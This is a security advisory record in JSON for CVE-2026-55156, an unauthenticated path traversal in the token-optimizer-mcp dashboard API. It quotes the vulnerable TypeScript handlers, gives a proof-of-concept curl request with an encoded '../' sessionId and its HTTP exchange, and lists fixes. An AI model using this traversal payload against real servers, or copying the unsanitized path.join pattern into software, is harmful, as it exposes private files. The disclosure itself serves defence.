{"id":"CVE-2026-55156","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-55156","summary":"Token Optimizer MCP: Unauthenticated Path Traversal in Dashboard Session Log API Endpoints","details":"# Unauthenticated Path Traversal in Dashboard Session Log API Endpoints\n\n| Field            | Value |\n| ---------------- | ----- |\n| Repository       | ooples/token-optimizer-mcp |\n| Affected version | 5.0.1 (commit 8137147) |\n| Vulnerability    | CWE-22 — Improper Limitation of a Pathname to a Restricted Directory |\n| Severity         | Medium |\n| CVSS 3.1         | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n\n\n## Summary\n\nThe dashboard HTTP server in `token-optimizer-mcp` exposes `/api/session-summary` and `/api/session-events` with no authentication middleware — any network-accessible client can reach them without credentials. Both handlers concatenate the caller-supplied `sessionId` query parameter directly into a filesystem path via `path.join`, and Node.js normalizes `..` segments at resolution time, allowing an unauthenticated attacker to read any `.jsonl` file reachable from the server's filesystem. Successful reproduction confirmed exfiltration of a `.jsonl` file located outside the intended `hooksDataPath` directory with a single unauthenticated HTTP GET request.\n\n## Affected Code\n\n`src/server/web-server.ts:73–88` — `/api/session-summary`: unsanitized `sessionId` interpolated into `path.join` then passed to `fs.readFileSync`\n\n```typescript\n    const hooksDataPath = getHooksDataPath();\n    const jsonlFilePath = path.join(\n      hooksDataPath,\n      `session-log-${sessionId}.jsonl`\n    );\n\n    if (!fs.existsSync(jsonlFilePath)) {\n      return res.status(404).json({\n        success: false,\n        error: `JSONL log not found for session ${sessionId}`,\n        sessionId,\n      });\n    }\n\n    // Parse JSONL file\n    const jsonlContent = fs.readFileSync(jsonlFilePath, 'utf-8');\n```\n\n`src/server/web-server.ts:297–311` — `/api/session-events`: identical unsanitized `path.join` + `fs.readFileSync` pattern\n\n```typescript\n    const hooksDataPath = getHooksDataPath();\n    const jsonlFilePath = path.join(\n      hooksDataPath,\n      `session-log-${sessionId}.jsonl`\n    );\n\n    if (!fs.existsSync(jsonlFilePath)) {\n      return res.status(404).json({\n        success: false,\n        error: `JSONL log not found for session ${sessionId}`,\n      });\n    }\n\n    // Parse JSONL file\n    const jsonlContent = fs.readFileSync(jsonlFilePath, 'utf-8');\n```\n\n`req.query.sessionId` flows unsanitized into `path.join(hooksDataPath, \\`session-log-${sessionId}.jsonl\\`)`, which Node.js resolves by normalizing `..` traversal sequences before the `fs.readFileSync` call.\n\n## Proof of Concept\n\nStep 1 — Send traversal payload to `/api/session-events` with no credentials: server returns HTTP 200 with contents of a `.jsonl` file outside `hooksDataPath` — proves unauthenticated out-of-bounds file read.\n\n```bash\ncurl -s \"http://127.0.0.1:3100/api/session-events?sessionId=abc%2F..%2F..%2F..%2F..%2Ftraversal-target\"\n```\n\n```http\nGET /api/session-events?sessionId=abc%2F..%2F..%2F..%2F..%2Ftraversal-target HTTP/1.1\nHost: 127.0.0.1:3100\nUser-Agent: python-requests/2.x\nAccept: */*\n```\n\n```http\nHTTP/1.1 200 OK\nX-Powered-By: Express\nAccess-Control-Allow-Origin: *\nContent-Type: application/json; charset=utf-8\nContent-Length: 186\n\n{\"success\":true,\"sessionId\":\"abc/../../../../traversal-target\",\"total\":1,\"offset\":0,\"limit\":100,\"events\":[{\"type\":\"PATH_TRAVERSAL_EVIDENCE\",\"secret\":\"sensitive-data-outside-hooks-dir\"}]}\n```\n\n## Impact\n\nAn unauthenticated remote attacker can read the contents of any `.jsonl` file accessible to the process running the dashboard server. In a typical deployment this includes all session log files (which contain tool invocations, hook outputs, and token usage data) as well as any other `.jsonl` file reachable via `..` traversal from `hooksDataPath`. The constraint that the resolved path must end in `.jsonl` limits the attack surface to that file extension, but session logs can contain sensitive operational data. The same path traversal is present in both `/api/session-summary` and `/api/session-events`, and neither endpoint requires authentication.\n\n## Remediation\n\n1. **Validate `sessionId` format** before use: reject any value that does not match a strict allowlist such as `/^[a-zA-Z0-9_-]{1,64}$/`. This prevents `/` and `.` characters from entering the path construction entirely.\n\n   ```typescript\n   const SESSION_ID_RE = /^[a-zA-Z0-9_-]{1,64}$/;\n   if (!SESSION_ID_RE.test(sessionId)) {\n     return res.status(400).json({ success: false, error: 'Invalid sessionId' });\n   }\n   ```\n\n2. **Alternatively, apply `path.basename`** to strip all directory components: `path.basename(sessionId)` reduces any traversal sequence to a bare filename before `path.join`.\n\n3. **Add authentication middleware** to all `/api/*` routes so that even if a bypass is found the endpoints are not reachable without a valid session token.","published":"2026-08-14T21:43:54Z","modified":"2026-08-14T22:00:07.673641543Z","cvss":{"score":5.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"@ooples/token-optimizer-mcp","fixedVersion":"5.1.0"}],"fix":{"url":"https://github.com/ooples/token-optimizer-mcp/commit/b4ee96dac799cbfba0a9f9c17844ce9d613cbcc7","label":"ooples/token-optimizer-mcp@b4ee96d"},"references":[{"type":"WEB","url":"https://github.com/ooples/token-optimizer-mcp/security/advisories/GHSA-76pc-mqxp-3rq5"},{"type":"WEB","url":"https://github.com/ooples/token-optimizer-mcp/commit/b4ee96dac799cbfba0a9f9c17844ce9d613cbcc7"},{"type":"PACKAGE","url":"https://github.com/ooples/token-optimizer-mcp"},{"type":"WEB","url":"https://github.com/ooples/token-optimizer-mcp/releases/tag/v5.1.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-14T22:00:07.673641543Z"}}